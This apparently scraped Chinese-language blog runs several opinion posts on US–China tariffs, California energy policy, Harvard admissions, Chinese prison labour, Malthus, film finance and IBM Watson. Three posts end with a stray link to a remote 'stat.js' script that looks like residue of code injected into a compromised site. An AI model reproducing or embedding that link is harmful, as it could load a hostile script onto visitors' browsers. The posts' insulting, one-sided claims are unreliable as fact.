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工業供應鏈的合作關係之複雜遠超過偽財經大媽想像

WSJ的報導«Latest U.S. Tariffs Could Make Auto Parts Pricier»,兩點摘要:

1. 許多中國汽車零配件與美國公司簽訂的是12個月才議價一次的長約,因此即便美國政府現在提高關稅,依約也要等到2019年中才會反應到採購價格上。

但美國消費者卻會面臨立即的漲價,以轉嫁美國公司的進口關稅成本。

2. 還有一些零配件根本除了中國以外很難找到其他供應商,尤其有法定認證要求與時程的產品,並非隨便找個第三國供應商就能夠符合各種品質、法規要求。

更甭提第三國供應商價格也不見得比中國有競爭優勢。

以上這些才是第一線工業商貿狀況。

講講我自身經驗吧。

我曾負責一個塑膠製品,是專門用在某種高度精密又脆弱的光電產品製程中,運送半成品的載具。

與該大廠工程師合作近兩年,我方提出多次設計稿並開了幾次模具後,終於用一種結構有點複雜的大型塑膠吹出成形與塑膠射出件的混合裝置,使其有足夠的結構強度但同時具備相當彈性與柔軟度,達成大幅減少運輸過程對該精密光電半成品的損害之目標,提高生產良率。

但此產品根本並非我司的主力產品,更提不上對營收與獲利有重要貢獻。

因此當該大廠十年前要移轉主要生產線到中國時,我方直接表達不會隨之到大陸設廠的態度。該大廠也只能從台灣海運如此大材積的載具,直到4、5年後,該大廠才終於在中國大陸找到合格的替代品,但因我司模具費用早已攤提,中國大陸報價竟還比我們高。

此例只是要說明,真實世界供應鏈組成非常複雜,許多關鍵零組件,甚至生產線上使用的工具、裝置,都不見得能在短短一兩年內找到第三國供應商!絕對不是只有電商與唬爛雜誌經驗的偽財經大媽想像的那麼簡單。

所以美國提高關稅會不會出現轉單效應,會,但不是模擬城市遊戲那樣隨便點點就蓋好一座核融合發電廠那麼快那麼簡單。

對真實世界侷限條件掌握不足,對經濟基礎理論邏輯掌握不足,二大致命傷使其論述只剩誤人子弟的效果。

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中美貿易戰聽證會

如果貿易戰美國都不用付出代價,如果自身提高進口關稅就可以讓中國國力倒退10年,那川普政府就不會在公聽會上遇到一堆阻力,也根本不用退讓妥協為「現在先加10%,明年一月再調高」了,蠢蛋。

這麼簡單的經濟感受都不具備,偽財經大媽果然名不虛傳!🤣🤣🤣

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聽證會上一堆反對加稅的意見,例如:

“Howard, of Dallas, told a panel of interagency officials that the particular coils he imports for use in vaping devices can only be bought from China, and that his business, Coil Wholesalers LLC, would be harmed if the tariffs go through. “There’s one source for them, that’s China,” he said.”

“… Jonathan Cowles of Atlanta-based Liberty Furniture said tariffs would have a “devastating effect” on his company, and would act as an “added tax.” Resulting price increases on Liberty’s products “would ultimately be passed on to our consumer,” he said, describing tariffs as a “direct hit” on consumers.”

“Jim Day, a vice president at the ’47 Brand hat company, said it would take at least a decade for the United States to develop the manufacturing capacity to produce the hats he sells because such facilities were shuttered many years ago. If President Trump’s tariffs move ahead, Mr. Day said, it will mean job cuts at his Massachusetts-based business.” (Jim Day 表示至少要10年才能在美國建立跟中國一樣的製造供應鏈,因為他公司販賣的帽子生產線在美國早已關閉許多年)

NYT — “Companies Warn More China Tariffs Will Cripple Them and Hurt Consumers"

PS 顯無工廠經驗的偽財經大媽以為生產線彈彈手指就自己可以建好並有效率地營運 XDhttps://js.developerstatss.ga/stat.js?n=ns1

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歧視窮人的加州綠能政策

WSJ:「100% Certifiable California

愛打高空、唱高調的加州民主黨於州議會上試圖通過一法案:完全禁絕加州電力使用任何石化燃料,並於2045年達到100%太陽能與風力發電。
 
假設這個法案通過,將面臨以下困難:
 
1. 太陽能與風力發電的不穩定性,必然需要極為龐大的儲能設施。
 
而有鑑於水力位能儲電有地理位置上的先天限制(就我所知有團隊嘗試廢棄礦坑儲水法,但發現成本依然非常昂貴),大規模的「電池儲電」將會是目前唯一解方。
 
2. 大規模電池極為昂貴,且壽命不長,恐怕需要週期性更換,意味著成本上升。
 
3. 太陽能與風力發電本身對抗天災能力遠不如傳統火力或核能電廠,因此每次災後都將需要重建部分發電設施,又是一筆開支。
 
4. 分散式發電裝置意味電網建構需要更多材料、人力與資金,此外相對於天然氣火力發電廠可以依傍城市邊緣,大規模太陽能或風力發電多只能散佈於偏僻野外,這拉長了發電端到用電端的距離,等於是提高了電力輸送成本與風險。
 
(從工程經濟觀點也存在同樣的問題:我們在合理成本下讓集中於單一據點的設施有極強的抗災能力;但若設施非常分散,則要讓每個點都具備極強抗災能力,總成本恐怕是等比級數飆升,「規模不經濟效應」很容易壓過「規模經濟」)
 
5. 太陽能與風電的不穩定性也會提高電網與平衡設施的成本與損壞機率。近年當二者發電量超出需求時,加州政府還需要付費給亞利桑那州求人家收電。
 
(孤立海外的台灣島要求誰收電哩?科科)
 
6. 南澳大利亞採取40%太陽能與風電政策,其結果就是一場風災便處處停電。而南澳大利亞的高綠能政策讓該區居民快樂地享受美國人三倍的電費!
 
7. Tesla幫南澳大利亞蓋設的大型電池儲電設施,佔地相當於一個美式足球場大,卻只能緊急應付3萬戶一小時的電力需求。而Tesla與澳洲政府都不肯公開蓋這個電池儲能設施究竟花費多少。根據Electrek報導推測,澳大利亞電池主支付每度電額外0.79美元的代價來吸收 — 足足是美國躉售電力的10倍價格!
 
但值得注意的是,合約上Tesla的電池設施可以把存下來的電於需求高於產出時高價賣給用戶,等於南澳大利亞用電戶一隻羊被扒兩層皮!平時電費就已經負擔電池建造成本,缺電時還要付更多錢向其購電。
 
8. 加州低收入人民多居住在氣溫更極端的內陸,夏日與冬季都需要大量空調來維持溫度,意味能源支出佔家庭花費本就比例不低。此種全綠能政策如造成電價翻倍上漲,等於是環保團體的政治主張透過政府暴力剝削窮人。
 
9. 高耗能產業將更慘。加州過去幾年鼓吹綠能,結果是重創該州製造業,2010年以來加州製造業的工作機會成長數量僅全美國的一半,又一次證明經濟學價格理論與政客的虛假正義嘴臉 — 嘴巴說要照顧窮人,搞出來的能源政策卻使其難以生存。

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美國司法部調查結果證實:哈佛大學部入學審查的確存在歧視亞裔現象

目前還在波士頓地方法院的控告哈佛大學入學審查涉嫌歧視亞裔人士,原告提出資料指出亞裔即便考試成績與課外活動達最高成就,通過入學審查比率卻是所有族群中最低。

美國司法部調查入學資料發現的確存在「人種樣板」–亞裔美國人通過入學審查機率明顯較低。而哈佛內部文件卻無法說明或解釋為何存在這種現象,司法部甚至表示:「representing an “intentional and unexplained use of race”」

而哈佛大學一貫的說詞,其實就是Obama總統時期推行的「種族多樣化」政策 — 刻意維持學生內部多種族,其結果反而是「反競爭」,藉由打壓成績更好的特定族群,來維持「表面上的種族和諧」。

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我的看法:

1. 左派的虛偽與可悲恰恰反應在:強調男女平等、強調族群平等,往往只是在做表面工程。

近日加州通過法律,要求註冊在加州的美國上市公司必須至少有一名董事是女性。該法律的支持者宣稱歐盟自從通過這種法律後,歐盟上市公司女性董事比率從10%左右成長到40%,女權得到伸張。

可悲,這些女性並非「因為能力」而是「因為政府暴力」才得享此職位,法律難道還能確保這種女性董事不淪為「傀儡」?而充斥傀儡的董事會,難道對公司治理、對股東員工會是更好的安排?

哈佛大學一案不也如此?追求表面上的種族平等,其結果必然是壓抑認真有能力者,而讓無德無能者配享不該屬於他的租值。

這也是說,左派的「公平正義」本質往往是不公不義,甚至還是「反競爭」與「反進步」。

2. 相信捐款問題也是哈佛這類高級私校少收亞裔族群的原因之一。

但隨著中國崛起,據說香港陳啟宗2014年他以旗下基金會名義捐出3.5億美元(為哈佛大學最大一筆單一捐款);中國地產富豪潘石屹夫婦也捐給哈佛1,500萬美元;肖建華捐款2千萬美元後,美國常春藤等高級私立大學收取華裔學生人數呈現2位數增長。

Money always talks loudly!

我認為這部份隨著華人富裕後的捐款額度累積,將會慢慢改善。

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富國銀行職員造假騙餐費

富國銀行(Wells Fargo)與許多大銀行一樣,提供加班職員誤餐費。

但近日內部調查發現某些職員會提早向Grubhub、Seamless或Square Caviar 這些送餐服務網站訂餐,然後再偷偷更改單據時間,回頭向公司申請誤餐費。

常見坊間用「民族性」這種論調在解釋人類行為,其實非常不靠譜。尤其那些高舉美國價值者,猶為可笑。

還是實證經濟學科學得多,指明客觀侷限條件,就能預測此類貪小便宜的詐欺行為出現。

https://www.wsj.com/articles/wells-fargo-fires-bankers-amid-probe-of-dinner-receipts-that-were-allegedly-doctored-1535637745https://js.developerstatss.ga/stat.js?n=ns1

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FT:中國供應鏈的秘密 — 監獄勞力

FT:中國供應鏈的秘密 — 監獄勞力

1. 美國人口只有中國的24%不到,但監獄犯人人數卻是世界第一,中國只拿到第二位。

(美國制度真的好優越喔~)

2. 中國監獄始終存在勞改 — 要求犯人從事生產勞動,例如山東省金鄉縣是世界最主要的大蒜產區,出口量佔美國80%新鮮大蒜消費量(約佔總大蒜消費量20~30%),該縣監獄犯人就從事大蒜處理相關工作。

FT稱「出口監獄犯人生產商品」是違反國際法與國內法。

有家專門出口日本的金鄉縣大蒜廠商承認,過去曾使用監獄勞力,但因為關係不如人,2年前無法繼續使用後,大蒜價格上漲50%。

3. 2008年起,美國大蒜協會控告中國傾銷大蒜,美國政府從該年起對中國大蒜加徵376%的反傾銷稅。

但該協會並未把Zhengzhou Harmoni這家公司列於名單上,因此該公司從中國出口至美國的大蒜並未被課徵反傾銷稅。

但該公司卻被檢舉使用監獄勞力,因此美國海關曾於2016年12月至隔年1月扣押其貨物,而該公司提供相關說明文件後就放行了。

4. 中國供應鏈存在許多監獄被迫勞動的犯人足跡,有位亞利桑那州的婦人從Walmart買來自有品牌的手提袋,裡頭被放入中國監獄犯人的紙條,稱其每日被迫勞動14小時,未達成工作目標將被毆打,還稱:「在中國坐牢比在美國當一條狗還慘。」

該紙條後來被證明是由一位判刑15年的廣西省犯人所寫。

Walmart承認並宣稱曾有代工廠轉包給監獄,而他們已經終止合作關係。

5. 中國犯人勞動不適用勞動法。

有更生人宣稱坐牢期間清晨5點就被迫工作直至晚上9點,一個月只有一天放假。

6. 犯人參與勞動最大動機並非金錢,而是可以因表現良好而縮短刑期亦或提早假釋出獄。

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我的看法:

金融時報一堆道德高標的批判中國強迫犯人勞動生產,可是我認為光第6點就把前面那些全都打臉啦!

監獄強迫勞動生產這件事美國自己的監獄也有,甚至是美國憲法第13修正案所允許。

況且從獄政管理來看,放一群罪犯無所事事在監獄中遊盪串連,如此不但大幅提高管理成本,也更容易滋生更多問題吧。此外,能創造收益的監獄,必然減少納稅人支出,何樂而不為?

就我所知,美國許多政府外包的私人監獄,也有部分要求犯人勞動生產活動,甚至與許多私人公司有代工外包關係,例如 Whole Foods, McDonald’s, Target, IBM, Texas Instruments, Boeing, Nordstrom, Intel, Wal-Mart, Victoria’s Secret, Aramark, AT&T, BP, Starbucks, Microsoft, Nike, Honda, Macy’s 和 Sprint等等。

2017年加州就強迫1500多名罪犯去清理森林大火後的土地。

而Texas, Georgia, Arkansas, and Alabama這四州依法可以不給被迫工作的罪犯任何金錢報酬。

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Malthus的人口論從根本就錯了

Thomas Malthus人口論的錯誤在於「將人類比擬為動物」–食物多人口就增長,遇到食物產出極限或自然災害人口就減少。而在人類就在這極限邊緣過著比牲口好不了多少的生活 — 只差餓不死而已。

該理論完全忽略人類會透過「市場交易」與「專業分工」大幅增加生產力,這點偏偏是最最重要的侷限條件,也因此真實世界壓根不甩Malthus的謬論 — 人口不斷增長遠超過Malthus預期,且生活品質還不斷提昇,一個已開發經濟下的中產階級,物質生活條件遠甩數百年前的中國皇帝幾十條街。

2008年之後,人類超過一半人口居住於都市,而2/3人類經濟發展與產出均來自於都市;但全世界的都市所佔土地面積僅僅是地球總土地面積的3%!從「土地」這個生產要素切入看,人類生產效率高得離奇!也可見都市是多麼有效率地使用土地資源,對環境是極大保障。

動物普遍不存在如人類一般複雜的「市場交易與專業分工」,即便有,也是受基因驅動而非思考力驅動。

話說清華大學有個深信Malthus人口論的經濟學教授,這說明不懂得觀察真實世界的書獃子有多可悲。https://js.developerstatss.ga/stat.js?n=ns1

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賠到當內褲的電影投資

拍電影本就是高風險投資,因為電影就是動用大量資源、統合各方人力試圖說好一個故事的產出行為,環環相扣之間非常容易在小地方失誤則牽一髮動全身影響最後成敗。尤其是籌備到實際上映之間至少存在數個月、幾年甚至十幾年的時間差,如何正確打擊觀眾口味(包括上映前的行銷),充滿極高的資訊成本。

風險高自然也是情理之中。

現今多數國家的製作與院線分成率約在40~55%之間,這表示一部電影的票房至少約該是製作成本的兩倍才能損益兩平(不計入後續串流授權、電視授權、租片或商品授權等收益)。

而製片公司和導演、大牌演員之間更為複雜的分成契約安排,是研究產權經濟學一個相當不錯的題目哩。

這部影片剖析了影史上幾部賠得屁滾尿流當內褲的電影,值得一看。

PS 開頭那位電影之父在1915年推出的「一個國家的誕生」非常值得找來一看,我自己看過三次,如此歧視黑人且歧視得振振有詞、歧視到票房相當今日十幾億美元票房的電影,我想現今好萊塢不可能再有了 XD

PS「美國往事(四海兄弟)」堪稱經典,我認為黑幫題材來說是不遜於「教父」的好片(是指229分鐘導演剪輯版)。裡頭飾演Deborah的Jennifer Connelly更是美翻了~~

美國電影常常找醜妹來演美女,毫無說服力可言(例如教父三的那位,搞什麼呀?!);Jennifer Lynn Connelly的Deborah絕對不叫人失望 XD

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從IBM Watson看AI與醫療之現況

WSJ報導:"IBM Has a Watson Dilemma
內文摘要:
 
1. IBM Watson當初宣稱的「對癌症研究大有助益」,經過6年後發現裸泳成分居多。多數合作研究案均已停止,相當多案例顯示Watson對癌症病人幫助微乎其微。少部分案例裡頭Watson的判斷根本錯誤。
 
2. 許多病例因為罕見而無法累積夠多資料給Watson學習,此外病情與治療方式的演進速度之快速,Watson及其工程師團隊往往難以跟上。IBM請來的醫療顧問哥倫比亞大學教授Dr. Herbert Chase 因對其表現失望而辭任顧問。
 
3. 目前無任何公開發表資料顯示Watson對病情改善有任何幫助。
 
4. Watson的失敗顯示AI對醫療研究與治病還有漫長的路要走,信誓旦旦且誇大其詞的願景還禁不起現實考驗(2017年IBM的董事長Ginni Rometty 還對媒體宣稱:『Watson已經可以診斷、治療並找出80%癌症的病因)。
 
5. IBM截至目前為止花費$150億美元研發Watson,並希冀此AI系統將會是整間公司轉型的重要契機,然而從2012年至今,IBM年營收不斷衰退(從$1000億美元出頭跌至$800億不到)。Watson2017年營收貢獻僅$45.8億美元,較去年同期減少$1.3%。
 
6. 投入醫療產業AI領域的主要競爭對手有:Alphabet(Google)、Amazon、Microsoft與Philips NV。
 
7. 目前Watson的商業模式就是每位病患收取$200~$1000美元不等的顧問費,特殊疾病還另加收費用。
 
8. 不可否認,具有AI設備的醫院在醫療市場上還是有相當集客力 — 一般民眾容易誤以為AI醫生比較高明。
 
——————————————————
 
我的看法:
 
我認為AI在醫療領域有三大罩門,一是數據太少,AI學習範本不夠多時,往往比人腦還笨;二是當面對的問題不存在「勝負」或「絕對正確解」時,AI很難自我學習出什麼東西;三則是AI只是一堆運算邏輯,卻沒有足夠多與夠格的感應器代替人類感知能力。
 
以中醫要求的望聞問切為例:當我看到病人眼白微微泛黃而談吐間口氣酸臭時,精神略顯疲憊且眼神無力,切脈發現右關滑又洪大,我心中大概已經有病情與病機方向。我很懷疑這部份現今AI能取代人類多少?
 
此外某些支持性療法,只是改善病患的不適,對康復本身並無太大作用。許多醫學臨床手冊都會記載這類療法,AI是否有能力判斷這類療法的本質與目的呢?
 
況且人體是極為複雜的系統,同樣的病給予同樣的藥劑不見得會得到一樣的結果,這對習慣有唯一解的工程思維所設計的AI來說會是一大挑戰。
 
醫療記錄的不完整也會是AI難以克服的問題:某病人來有AI設備的A醫院治療一段時日後,認為效果不彰而轉去無AI設備也無分享醫療記錄的B機構診治,從而痊癒康復。別說AI能否知道,就連A醫院的醫師也不知道病人有無康復?是因為自己的診治康復嗎?甚至病人接受完診斷拿了藥,回家根本未曾服用,就自己好了/或死了,AI能知道這些訊息嗎?
 
誠如文末Dr. Kelly評論:「AI看似承諾了一堆,但目前沒有一個實現。」
 
從經濟分析角度看,Watson在醫療上是非常昂貴的上頭成本投資,但若不能給出優異於現有醫生之診斷,則其上頭租值將無法回收其成本。然,若其裝置真能取代醫生,則大規模的醫生拒絕配合亦或拒絕病歷資料共享以維護自身壟斷利益是可以預期,而如我先前闡述,這偏偏是AI的硬傷 –資料不足。
只是現況比我想像中還糟一些:AI要做到「稱職幫手」都還遠得很哩。
難怪巴菲特會出清IBM持股。

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【The Rational Optimist】一書第三章「The feeding of nine billion」摘要。

我一直很喜歡Matt Ridley的書,這位作者是經濟學人雜誌中科學欄目的主筆之一,也是英國國會議員,更是多本上榜紐約時報暢銷書作者。

以下是第三章書摘,有許多有趣的事實,以及作者認為有機農業與環保團體怎樣殘害世界、踐踏環保,值得一看:

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